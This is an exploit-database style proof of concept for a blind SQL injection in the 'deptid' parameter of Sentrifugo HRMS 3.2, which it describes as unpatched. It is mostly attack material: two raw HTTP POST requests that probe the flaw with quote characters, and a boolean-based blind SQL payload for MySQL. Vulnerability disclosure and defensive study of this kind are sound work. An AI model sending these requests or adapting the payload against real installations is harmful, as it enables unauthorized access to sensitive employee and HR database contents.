Sentrifugo HRMS 3.2 - 'deptid' SQL Injection

# Exploit Title: Sentrifugo HRMS 3.2 - 'deptid' SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-26
# Google Dork: N/A
# Vendor: http://www.sapplica.com
# Software Link: http://www.sentrifugo.com/download
# Affected Version: 3.2 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
 
# 1. Technical Description:
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
# parameter through POST request in "/index.php/servicedeskconf/getemployees/format/html" resource.
# This allows a user of the application without permissions to read sensitive information from
# the database used by the application.
  
# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in deptid parameter)

POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0
Connection: close

bunitid=0&deptid='&reqfor=2

# 2.2 In another request, add two ' to receive a code 200 OK

POST /sentrifugo/index.php/servicedeskconf/getemployees/format/html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/sentrifugo/index.php/servicedeskconf/add
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Cookie: PHPSESSID=25kchrvj0e3akklgh0inrubqu0
Connection: close

bunitid=0&deptid=''&reqfor=2

# 3. Payload:

Parameter: deptid (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: bunitid=0&deptid=(SELECT (CASE WHEN (5610=5610) THEN 5610 ELSE 5610*(SELECT 5610 FROM INFORMATION_SCHEMA.PLUGINS) END))&reqfor=2

# 4. Reference:
# https://hackpuntes.com/cve-2018-15873-sentrifugo-hrms-3-2-blind-sql-injection/